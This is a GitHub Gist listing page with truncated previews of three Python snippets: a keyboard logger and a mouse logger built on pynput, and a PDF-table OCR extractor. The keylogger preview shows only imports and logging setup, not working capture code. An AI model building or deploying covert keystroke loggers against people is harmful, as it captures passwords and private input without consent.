Skip to content

Instantly share code, notes, and snippets.

View PureMath86's full-sized avatar

Bryan Arnold PureMath86

View GitHub Profile
@PureMath86
PureMath86 / key_logger.pyw
Last active October 9, 2017 08:48
key_logger
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pynput.keyboard import Key, Listener
import logging
from importlib import reload
log_dir = ""
reload(logging)
@PureMath86
PureMath86 / mouse_logger.pyw
Created October 9, 2017 06:00
mouse_logger
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pynput.mouse import Listener
import logging
from importlib import reload
reload(logging)
logging.basicConfig(filename="mouse_log.txt",
@PureMath86
PureMath86 / pdf_table_with Tesseract
Created September 27, 2017 22:23 — forked from jaganadhg/pdf_table_with Tesseract
Extract Data from PDF table using Python Image. Image Magick and tesseract
#Refer http://craiget.com/extracting-table-data-from-pdfs-with-ocr/
import Image, ImageOps
import subprocess, sys, os, glob
# minimum run of adjacent pixels to call something a line
H_THRESH = 300
V_THRESH = 300
def get_hlines(pix, w, h):
"""Get start/end pixels of lines containing horizontal runs of at least THRESH black pix"""
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.